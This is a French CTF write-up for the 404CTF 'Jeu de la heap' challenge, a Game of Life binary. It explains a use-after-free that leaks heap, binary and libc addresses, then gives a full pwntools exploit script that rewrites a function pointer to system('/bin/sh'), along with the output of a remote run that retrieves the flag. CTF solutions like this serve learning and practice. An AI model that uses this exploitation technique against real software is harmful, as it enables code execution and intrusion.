Challenge Jeu de la heap
https://ctf.404ctf.fr/challenges#Jeu%20de%20la%20Heap-8
Ce challenge est un jeu de la vie revisité.
En changeant les règles de vie et de mort, on peut corrompre la mémoire.
Le choix 4, imprévu, supprime les règles sans en rajouter de nouvelles.
Si on passe à la génération suivante, le programme réalloue le bloc libre dans la nouvelle grille.
L’affichage de la grille donne les leaks indispensables pour la suite.
Le pointeur de la grille et des règles étant le même, en modifiant la grille on modifie les règles.
Et dans ces règles, il y a un pointeur vers une fonction (print_rules).
On change donc pour system(), et on change l’argument du pointeur vers les règles pour /bin/sh.
Et on appelle l’affichage des règles pour exécuter system('/bin/sh').
$ ./exploit.py REMOTE
[+] Opening connection to spawn.404ctf.fr on port 10300: Done
[+] elf.address=0x5632fa7fe000
[+] libc.address=0x7ff234c0c000
[+] heap=0x56332454b000
[*] Switching to interactive mode
Linux localhost 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 GNU/Linux
404CTF{c0Nw4y'5_GAm3_1S_4mA2InG_d4viD}
$
- mandragore, 2026/05/19
#!/usr/bin/env python3
from pwn import *
import re
import sys
import os
#sys.tracebacklimit = 0 # yeah I know it crashed
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#context.terminal = ['lxterminal','--geometry=100x100','-e']
elf = ELF('./chall_patched', checksec=False)
# elf = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
if args.REMOTE:
p = remote('spawn.404ctf.fr', 10300)
else:
if args.GDB:
p = gdb.debug(elf.path, gdbscript='''
#break *print_rules
break *main+0x31c
continue
''')
else:
p = process(elf.path)
def parse(buff):
leaks=[]
for line in buff.split(b'\n'):
if line[0:1]!=b'|':
continue
line=line.replace(b'|',b'')
leak=int(line[::-1],2)
leaks.append(leak)
return leaks
p.recvuntil(b'Leave\n')
# set rules to template (dont pollute the chunk at nextgen)
p.sendline(b'3')
p.sendlineafter(b'Highlife\n',b'3')
p.recvuntil(b'Leave\n')
# delete rules, dont set new ones
p.sendline(b'3')
p.sendlineafter(b'Highlife\n',b'4')
p.recvuntil(b'Leave\n')
# new gen (reallocate freed chunk, UAF)
p.sendline(b'1')
leaks=p.recvuntil(b'Leave\n')
leaks=parse(leaks)
#for leak in leaks:
# print(f'{leak=:#x}')
heap=leaks[0] << 12
elf.address=leaks[5]-elf.sym.print_rules
libc.address=leaks[6]-libc.sym.free
success(f'{elf.address=:#x}')
success(f'{libc.address=:#x}')
success(f'{heap=:#x}')
#newval1=libc.address+0xddf83 # one_gadget fails
# update g->print_rules
newval1=libc.sym.system
newval1=f'{newval1:064b}'[::-1]
oldval1=f'{leaks[5]:064b}'[::-1]
for i in range(len(newval1)):
if (newval1[i]!=oldval1[i]):
p.sendline(b'2')
p.sendlineafter(b'column\n',b'%d,%d' % (5, i))
p.recvuntil(b'Leave\n')
# update rules ptr to /bin/sh as system argument
newval2=u64(b'/bin/sh\0')
newval2=f'{newval2:064b}'[::-1]
oldval2=f'{leaks[0]:064b}'[::-1]
for i in range(len(newval2)):
if (newval2[i]!=oldval2[i]):
p.sendline(b'2')
p.sendlineafter(b'column\n',b'%d,%d' % (0, i))
p.recvuntil(b'Leave\n')
p.sendline(b'4')
p.sendline(b'uname -a;cat flag.txt;echo')
p.interactive()